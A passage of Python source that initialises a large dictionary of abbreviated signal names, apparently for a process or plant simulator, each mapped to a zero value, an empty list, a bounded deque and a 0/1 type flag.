'FKAFWPI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKHPH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV103': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKHDTKH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BKV19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKBFV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKMXFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKAFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKHTRDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZKHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKHDTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKHDTCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FKRHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKCMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WKFMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKFWBYP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKHDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKCLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKCHP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKEFLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKEFHP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KAFWP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAFWP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KAFWP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWCNT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWBYP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KHTRDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWTRIP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'WLPHINA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPHINB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPHBYA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPHBYB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWPBY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UCOND': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWPOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPHOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHINA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHINB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHBYA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHBYB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFDW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHDTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV103': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV203': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HLPTEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHOA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHOB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ELPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ELPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZLPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZLPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPTEXA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPTEXB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HLPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HLPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ULPHOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFWPOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HHPTEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHOA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHOB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HHPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HHPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WLPHCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EHPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EHPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZHPHA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZHPHB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFDW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHPHDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPTEX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPTEXA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPTEXB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPDTA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPDTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHTCA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHTCB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPHCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPSRQA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPSRQB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPDRNA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHPDRNB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'TMPOMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRHFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DELTAT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV478': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV488': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV498': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV479': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV489': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV499': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV311': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV313': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV314': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV315': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FAFWP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FAFWP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FAFWP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAWTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PCDTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFW1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFW2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFW3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFW12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFW23': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAFWPS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAFWPD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAFWPT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BFV20': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FFWP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FFWP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FFWP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FHTRDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV51': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV60': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV71': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV72': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PLPHOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PHPHOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PFWPOUT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PHTRDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PHDTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WRECIR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCDHTR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWLN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWLN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWLN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWCNT1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWCNT2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWCNT3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWBYP1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWBYP2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWBYP3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCDPO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCPLN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCPLN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCPLN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFPLN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFPLN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFPLN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FEIFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'FEIHDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ZHDTKL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV51BY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV60BY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV71BY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BHV72BY': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DFFSGL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'DFFFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'BLV19': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EHDTK': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHDTCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UHDTP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WHDTCD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'HAFWTB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWS1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWS2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAFWS3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFWLN1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFWLN2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UFWLN3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WAWIER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CNTFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'ELP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'EHP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKCMV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'RKFMV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCPMIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WCDP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WFPMIN': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PAFWP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'WGLST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CQOVER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUOVER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CIRFH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPRFH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CDT100': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRIL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CAXOFDL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUCCWH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWLHXH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWLHXL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CULDHX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CURHX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPVCTH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPVCTL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWRCPS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCHGH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCHGL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZSMPH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRADHI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CHCTMT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPPRT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPACCH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPACCL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPPRZH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPPRZL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZPRZH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZPRZL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CQPRZP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CQPRZB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUTDEV': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUTAVG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUAUCT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWSGRL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZSGW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CMSLH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPSTML': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZCTKH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZCTKL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPFWOH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CUFWH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CWCDPO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPVACH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZCNDH': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZCNDL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CPERMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CCONTS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CFWISL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CFWISU': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CMSISO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CSAFEI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CRXTRIP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'CZRWSLL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KRXTRIP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLARML': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KLARMR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRIL': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KRILM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS1': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS2': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS3': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS5': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS7A': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS7B': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCONTS16': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS4': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS6': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS7': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS8': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS9': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS10': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS11': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS12': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS13': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPERMS14': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSIBPS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSRTBS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KIRTBS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPRTBS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANSI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANCIA': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANCIB': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANFW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANMS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMANRX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFWISO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMSISO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSAFEI': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KFIRST': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPRHFT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KBNETM': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSARW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSMAW': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'PWRHFX': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'PSGLP': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QOVER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UNORDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UOVER': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UAVLMO': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'UMAXDT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'QPRATE': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 1},
'KSTART': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTIMSC': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTSCOLD': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KMALFU': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KTIME': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KCTS': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KSUMMR': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KDIONG': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
'KPRINT': {'V': 0, 'L': [], 'D': deque(maxlen=max_len_deque), 'type': 0},
